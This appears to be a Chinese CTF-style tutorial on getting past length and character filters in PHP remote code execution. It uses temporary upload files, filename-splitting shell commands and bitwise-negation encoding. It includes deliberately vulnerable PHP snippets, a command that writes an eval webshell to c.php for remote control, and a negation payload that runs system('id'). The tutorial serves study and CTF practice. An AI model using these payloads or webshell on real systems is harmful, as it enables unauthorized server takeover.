RCE长度&字符限制绕过

临时文件绕过RCE

核心机制

当 PHP 接收multipart/form-data类型 POST 请求(上传文件)时:

  1. PHP 会自动把上传的文件保存到服务器磁盘,生成临时文件
  2. 临时文件路径存于:$_FILES'表单名''tmp_name'
  3. 默认生命周期:脚本执行结束,PHP 自动删除这个临时文件;脚本运行期间文件真实存在磁盘上。
  4. 临时文件名是随机,例如 /tmp/phpXXXXXX,但是临时文件名中有大小写

只有multipart/form-data表单上传文件才生成临时文件;普通application/x‑www‑form‑urlencodedPOST 纯参数不会生成临时文件。

临时文件绕过

1.长度限制绕过

复制代码
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) {
    echo shell_exec($param);
}

方法一临时文件绕过

修改请求头

Content‑Type: text/plain

声明上传文件的 MIME 类型,这里标记为普通文本

10--11行是1.txt中的内容

在tmp目录成功产生临时文件

再使用点空格,就算没有可执行权限也能执行该文件

.

方法二:文件名拼接绕过长度限制

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > c.php

base64 -d是解码的意思

解码后:<?php eval($_GET1);

具体原理如下:

两个反斜杠实现转义反斜杠,文件名就是 c.\

在 Shell 脚本中:如果一行的结尾是 \,代表本行没有结束,把下一行和当前行拼接为同一行命令。

重定向>和空格

-t时间排序

echo id > c.php

成功生成后门c.php,如果把id换成其他可执行 PHP 代码,后续就可以用蚁剑连接,就能控制服务器。

2.字符限制

php8.5不再支持

复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_\$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

方法一正则:

在code的参数中不能出现字母和数字,,于是用?来代替单个字母,分析临时文件发现在tmp目录中只有临时文件名会出现大写字母于是可以用**@-\[**表示A-Z。

在ascii码表中@过来了就是A,Z过了就是。而在正则中\[表示括号内任意一个字符。

因此可以匹配末尾是否是大写字母来匹配这个文件名

构建post上传文件请求头

成功但是没有输出

使用?><?=

?>闭合开头的<?php标签

<?= 是 PHP短输出标签,等价于 <?php echo

方法二取反:

原理如下:

以phpinfo();为例

输出取反后的值是一堆不可打印二进制字节。

进行url编码后

又能识别了

那直接对这个url编码进行取反

system ('id')

分析原理

原始字符串 system 是由字母组成的,但是 ~"system" 得到的不是可见字母,是一堆不可打印二进制字节。

payload:

复制代码
code=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

为什么这样还能执行?

1.HTTP 报文传输

请求参数里出现的%8C这类内容,只是 HTTP 协议的 URL 编码写法。报文里虽然看着有数字字母,但这只是编码格式。

2.PHP 自动 URL 解码

PHP 接收 GET 参数,自动完成解码。

%xx 整体被解码成0x80‑0xFF 范围的不可见字节。

解码之后,原来报文里的数字、字母字符直接消失,内存里存的是不可见二进制字节,不属于字母、数字。

如下图:因为此时还没有取反

3.过滤检测

preg_match检测的是解码之后的$_GET'code'变量。

变量内容只有符号~ () " ;加上一批不可见高字节,没有字母数字,过滤直接放行。

4.eval 执行代码

eval 拿到放行后的字符串执行:

**~对这些不可见字节做按位取反运算,**代码运行的时候,在内存动态计算出system、id这类带字母的字符串。

注意:system/id并不是用户输入携带的,是运行时运算生成出来的。输入过滤只会检查用户输入,不会检测程序运行过程中动态生成的数据。

PHP 语法(字符串)(参数)完成函数调用,最终执行 system("id");。

思考:

通过取反这种方式,是否可以绕过一些安全工具的限制?这些工具会检查输入源代码。

静态可以,动态行为检测不行

相关推荐
honsor10 分钟前
用 Grafana 做温湿度异常检测:从阈值告警到趋势预测
数据库·mysql·php
octopus_c20 分钟前
C++ 运算符重载详解 && 日期类的实现
开发语言·c++
开源推荐官21 分钟前
多门店 O2O 商城选型复盘:从开发视角对比主流开源系统
java·架构·开源·php
Eiceblue24 分钟前
用 Python 给 Word 文档加水印:文字、图片与批量处理
开发语言·vscode·python·word
j7~29 分钟前
【C++ 面试笔记】(篇二):类与数据抽象 & STL 容器与算法
开发语言·c++·面试·stl容器和算法·类和数据抽象
Fuyo_11191 小时前
深入解析 C++ unordered_set 与 unordered_map 的核心特性与性能实战
开发语言·c++
ShineWinsu1 小时前
对于Qt:QPushButton常见属性的解析
开发语言·c++·qt·api·gui·按钮·qpushbutton
外贸GEO优化1 小时前
外贸独立站的可抓取性:JS 渲染、懒加载与无限滚动到底影响什么
开发语言·javascript·ecmascript
飞浪纪元[FWC–FE]1 小时前
Qt 工程创建与 CMake / qmake 构建规范
开发语言·数据库·qt